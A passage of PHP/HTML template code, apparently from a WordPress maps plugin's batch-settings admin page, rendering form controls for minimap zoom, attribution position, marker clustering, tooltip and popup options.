/>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"minimapZoomLevelOffsetCheck\" class=\"batch-settings-check\" name=\"minimapZoomLevelOffsetCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"minimapZoomLevelOffset\"><?= esc_html__('Zoom level offset', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"minimapZoomLevelOffset\" name=\"minimapZoomLevelOffset\" value=\"<?= $settings['minimapZoomLevelOffset'] ?>\" min=\"-23\" max=\"23\" step=\"0.1\" />\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"minimapZoomLevelFixedCheck\" class=\"batch-settings-check\" name=\"minimapZoomLevelFixedCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"minimapZoomLevelFixed\"><?= esc_html__('Fixed zoom level', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"minimapZoomLevelFixed\" name=\"minimapZoomLevelFixed\" value=\"<?= $settings['minimapZoomLevelFixed'] ?>\" min=\"0\" max=\"23\" step=\"0.1\" />\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"attributionContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"attributionPositionCheck\" class=\"batch-settings-check\" name=\"attributionPositionCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<?= esc_html__('Positon', 'mmp') ?>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"attributionPosition\" value=\"topleft\" <?= !($settings['attributionPosition'] == 'topleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"attributionPosition\" value=\"topright\" <?= !($settings['attributionPosition'] == 'topright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"attributionPosition\" value=\"bottomleft\" <?= !($settings['attributionPosition'] == 'bottomleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"attributionPosition\" value=\"bottomright\" <?= !($settings['attributionPosition'] == 'bottomright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"attributionCondensedCheck\" class=\"batch-settings-check\" name=\"attributionCondensedCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"attributionCondensed\"><?= esc_html__('Condensed', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"attributionCondensed\" name=\"attributionCondensed\" <?= !$settings['attributionCondensed'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"iconContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"markerOpacityCheck\" class=\"batch-settings-check\" name=\"markerOpacityCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"markerOpacity\"><?= esc_html__('Opacity', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"markerOpacity\" name=\"markerOpacity\" value=\"<?= $settings['markerOpacity'] ?>\" min=\"0\" max=\"1\" step=\"0.01\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"clusteringContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"clusteringCheck\" class=\"batch-settings-check\" name=\"clusteringCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"clustering\"><?= esc_html__('Enable', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"clustering\" name=\"clustering\" <?= !$settings['clustering'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"showCoverageOnHoverCheck\" class=\"batch-settings-check\" name=\"showCoverageOnHoverCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"showCoverageOnHover\"><?= esc_html__('Show bounds on hover', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"showCoverageOnHover\" name=\"showCoverageOnHover\" <?= !$settings['showCoverageOnHover'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"disableClusteringAtZoomCheck\" class=\"batch-settings-check\" name=\"disableClusteringAtZoomCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"disableClusteringAtZoom\"><?= esc_html__('Disable at zoom', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"disableClusteringAtZoom\" name=\"disableClusteringAtZoom\" value=\"<?= $settings['disableClusteringAtZoom'] ?>\" min=\"0\" max=\"23\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"maxClusterRadiusCheck\" class=\"batch-settings-check\" name=\"maxClusterRadiusCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"maxClusterRadius\"><?= esc_html__('Max cluster radius', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"maxClusterRadius\" name=\"maxClusterRadius\" value=\"<?= $settings['maxClusterRadius'] ?>\" min=\"1\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"singleMarkerModeCheck\" class=\"batch-settings-check\" name=\"singleMarkerModeCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"singleMarkerMode\"><?= esc_html__('Single marker mode', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"singleMarkerMode\" name=\"singleMarkerMode\" <?= !$settings['singleMarkerMode'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"spiderfyDistanceMultiplierCheck\" class=\"batch-settings-check\" name=\"spiderfyDistanceMultiplierCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"spiderfyDistanceMultiplier\"><?= esc_html__('Spiderfy multiplier', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"spiderfyDistanceMultiplier\" name=\"spiderfyDistanceMultiplier\" value=\"<?= $settings['spiderfyDistanceMultiplier'] ?>\" min=\"0\" max=\"10\" step=\"0.1\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"tooltipContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"tooltipCheck\" class=\"batch-settings-check\" name=\"tooltipCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"tooltip\"><?= esc_html__('Show', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"tooltip\" name=\"tooltip\" <?= !$settings['tooltip'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"tooltipDirectionCheck\" class=\"batch-settings-check\" name=\"tooltipDirectionCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"tooltipDirection\"><?= esc_html__('Direction', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<select id=\"tooltipDirection\" name=\"tooltipDirection\">\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"auto\" <?= !($settings['tooltipDirection'] == 'auto') ?: 'selected=\"selected\"' ?>><?= esc_html__('Auto', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"right\" <?= !($settings['tooltipDirection'] == 'right') ?: 'selected=\"selected\"' ?>><?= esc_html__('Right', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"left\" <?= !($settings['tooltipDirection'] == 'left') ?: 'selected=\"selected\"' ?>><?= esc_html__('Left', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"top\" <?= !($settings['tooltipDirection'] == 'top') ?: 'selected=\"selected\"' ?>><?= esc_html__('Top', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"bottom\" <?= !($settings['tooltipDirection'] == 'bottom') ?: 'selected=\"selected\"' ?>><?= esc_html__('Bottom', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"center\" <?= !($settings['tooltipDirection'] == 'center') ?: 'selected=\"selected\"' ?>><?= esc_html__('Center', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"tooltipPermanentCheck\" class=\"batch-settings-check\" name=\"tooltipPermanentCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"tooltipPermanent\"><?= esc_html__('Permanent', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"tooltipPermanent\" name=\"tooltipPermanent\" <?= !$settings['tooltipPermanent'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"tooltipStickyCheck\" class=\"batch-settings-check\" name=\"tooltipStickyCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"tooltipSticky\"><?= esc_html__('Sticky', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"tooltipSticky\" name=\"tooltipSticky\" <?= !$settings['tooltipSticky'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"tooltipOpacityCheck\" class=\"batch-settings-check\" name=\"tooltipOpacityCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"tooltipOpacity\"><?= esc_html__('Opacity', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"tooltipOpacity\" name=\"tooltipOpacity\" value=\"<?= $settings['tooltipOpacity'] ?>\" min=\"0\" max=\"1\" step=\"0.01\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"popupContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupOpenOnHoverCheck\" class=\"batch-settings-check\" name=\"popupOpenOnHoverCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"popupOpenOnHover\"><?= esc_html__('Open on hover', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupOpenOnHover\" name=\"popupOpenOnHover\" <?= !$settings['popupOpenOnHover'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupCenterOnMapCheck\" class=\"batch-settings-check\" name=\"popupCenterOnMapCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"popupCenterOnMap\"><?= esc_html__('Center on map', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupCenterOnMap\" name=\"popupCenterOnMap\" <?= !$settings['popupCenterOnMap'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupMarkernameCheck\" class=\"batch-settings-check\" name=\"popupMarkernameCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"popupMarkername\"><?= esc_html__('Show marker name', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupMarkername\" name=\"popupMarkername\" <?= !$settings['popupMarkername'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupAddressCheck\" class=\"batch-settings-check\" name=\"popupAddressCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"popupAddress\"><?= esc_html__('Show address', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupAddress\" name=\"popupAddress\" <?= !$settings['popupAddress'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupCoordinatesCheck\" class=\"batch-settings-check\" name=\"popupCoordinatesCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"popupCoordinates\"><?= esc_html__('Show coordinates', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupCoordinates\" name=\"popupCoordinates\" <?= !$settings['popupCoordinates'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupDirectionsCheck\" class=\"batch-settings-check\" name=\"popupDirectionsCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"popupDirections\"><?= esc_html__('Show directions link', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupDirections\" name=\"popupDirections\" <?= !$settings['popupDirections'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupMinWidthCheck\" class=\"batch-settings-check\" name=\"popupMinWidthCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"popupMinWidth\"><?= esc_html__('Min width', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"popupMinWidth\" name=\"popupMinWidth\" value=\"<?= $settings['popupMinWidth'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupMaxWidthCheck\" class=\"batch-settings-check\" name=\"popupMaxWidthCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"popupMaxWidth\"><?= esc_html__('Max width', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"popupMaxWidth\" name=\"popupMaxWidth\" value=\"<?= $settings['popupMaxWidth'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupMaxHeightCheck\" 